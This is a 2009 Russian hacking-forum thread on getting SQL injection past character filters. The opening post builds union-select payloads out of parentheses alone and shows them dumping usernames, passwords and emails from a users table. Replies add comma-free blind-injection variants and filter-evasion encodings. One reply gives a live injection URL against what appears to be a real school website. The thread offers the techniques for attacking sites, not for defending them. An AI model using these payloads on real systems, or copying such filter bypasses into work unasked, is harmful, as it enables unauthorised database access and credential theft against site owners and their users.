Небольшой очерк 2 - Фильтрация

Discussion in 'Уязвимости' started by .Slip, 18 Jun 2009.

  1. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Тянет меня видимо раз в полгода писать что то подобное.
    Суть очерка - показать возможность выкрутиться при sql-inj и составить нормальный запрос обходя фильтрацию спецсимволов в GPC:

    -Пробел %2B, +
    -Табуляция %09
    -Возврат каретки %0D
    -Перевод строки %0A
    -Составляющие комментариев -, /, *

    *Примечание: дальнейшее описание имеет смысл только если после уязвимого параметра в теле запроса нет ничего что бы могло помешать логике, и не
    пришлось бы использовать комментарии

    1. Например вот такой скрипт фильтрации:
    PHP:
    $str str_replace('/''',
           
    str_replace('*''',
           
    str_replace('=''',
           
    str_replace('+''',
           
    str_replace(' ''',
           
    str_replace('%2B''',
           
    str_replace('%0B''',
           
    str_replace('%09''',
           
    str_replace('$0D''',
           
    str_replace('%0A'''$str))))))))));
    Видно что он всё порежет. Тут помогут скобки ( ) , с их помощью можно вообще не пользоваться какими либо другими разделителями инструкций/выражений etc.

    2. PoC
    Code:
    mysql> select * from news;
    +---------+-----------+------------+---------------+
    | news_id | news_name | news_theme | news          |
    +---------+-----------+------------+---------------+
    |       1 | news1     | theme1     | newsnewsnews1 |
    |       2 | news2     | theme2     | newsnewsnews2 |
    +---------+-----------+------------+---------------+
    2 rows in set
     
    mysql> select * from users;
    +----+----------+--------+--------------+
    | id | username | pwd    | email        |
    +----+----------+--------+--------------+
    |  1 | admin    | 12345  | [email protected] |
    |  2 | user     | qwerty | [email protected]  |
    |  3 | user1    | 0000   | [email protected]  |
    +----+----------+--------+--------------+
    3 rows in set
    ---
    Code:
    mysql> select news_name, news_theme, news from news where news_id=1;
    Допустим параметр news_id как раз мы можем изменить, тогда:
    Code:
    mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(1),(2),(3));
    +-----------+------------+------+
    | news_name | news_theme | news |
    +-----------+------------+------+
    | 1         | 2          | 3    |
    +-----------+------------+------+
    1 row in set 
    Ну вы понели..
    ---
    Code:
    mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(concat_ws(0x3a,id,username,pwd,email)),(concat_ws(0x3a,database(),user())),(null)from(users)where(id)like(1));
    +----------------------------+---------------------+------+
    | news_name                  | news_theme          | news |
    +----------------------------+---------------------+------+
    | 1:admin:12345:[email protected] | test:root@localhost | NULL |
    +----------------------------+---------------------+------+
    1 row in set 
    Фильтр успешно обходится. Дальше только ваша фантазия.

    3 ...
    4 PROFIT

    PS
    Кстати встречались такие цмс, где приходилось обходиться скобками. Редко, но бывает.
    PPS Примеров можно приводить море, но направление я дал, дальше уже и сами сможете потестить.
    PPPS Если не понятна логика построения таких запросов, спрашивайте.

    eof
     
    #1 .Slip, 18 Jun 2009
    Last edited: 18 Jun 2009
    9 people like this.
  2. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Мой пост можете не читать :)

    Конечно класно, но такой код жесть) Хотя б уже сделал
    PHP:
    str_replace(array("/","*","итд"), $str);
    :D
     
    #2 Dimi4, 18 Jun 2009
    Last edited: 18 Jun 2009
  3. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Нашли до чего доебаться, суть не в этом
     
    1 person likes this.
  4. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    вообще-то боян страшный..
     
    _________________________
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    баян, но ладно)
    Слип молодец :-*
     
  6. farpost

    farpost New Member

    Joined:
    16 May 2009
    Messages:
    20
    Likes Received:
    2
    Reputations:
    1
    Как к примеру сюда применить?

    так работает
    так не работает
     
  7. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    farpost, http://www.tauntonschool.co.uk/foundation/index.php?id=(-1)'union(select(1),(2),(3),(4))--+
    Только хз зачем тебе это, я же написал что это редкий случай когда нельзя обойтись без пробела и комментариев.
     
  8. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    кстати про %0b забыл
     
  9. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Добавил
     
    1 person likes this.
  10. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Я пока ниразу не встречал, где бы это нужно было)
    Но спасибо, буду знать ;)
     
  11. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    0x0C
     
    _________________________
  12. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Ну попробуем развивать тему, не знаю было такое уже или нет.
    Иногда встречаются супер-пупер фильтры которые при обнаружении конструкции типа substring((select),1,1) зарубают всё удовольствие.

    Аналог substring() - mid()

    Так же хочу отметить, что обходиться без запятой в слепых инъекциях вполне реально:

    substring((select password from user limit 0,1),1,1) <=> substring((select password from user where id = 1) FROM 1 FOR 1) <=> mid((select password from user where id = 1) FROM 1 FOR 1)

    Хотя накладка появляется - нужно знать какую либо колонку по которой можно перебирать строки таблицы.
     
  13. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Если нужно обходиться без запятых, так же можно применить:

    limit 0,1 <=> limit 1 offset 0
    if((a),b,c) <=> case when (a) then b else c

    Пример запроса https://forum.antichat.ru/showpost.php?p=1696686&postcount=48 см внизу
     
    2 people like this.
  14. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    substring(version(),1,1) = mid(version(),1,1) = substr(version(),1,1) = right(left(version(),1),1)
     
    1 person likes this.
  15. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    [Raz0r]Описывал уже нечто подобное в своём блоге.
    можно ещё по другому обойти,
    Отправляем %*0A
    Фильтр обрежет *, и останеться %0A.
     
    1 person likes this.
  16. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    А ты находишь разницу между вырезанием символов из переменной и их поиском в ней?
    Мы тут как бы вкладываем аналогичные конструкции, а не обсуждаем конкретные фильтры.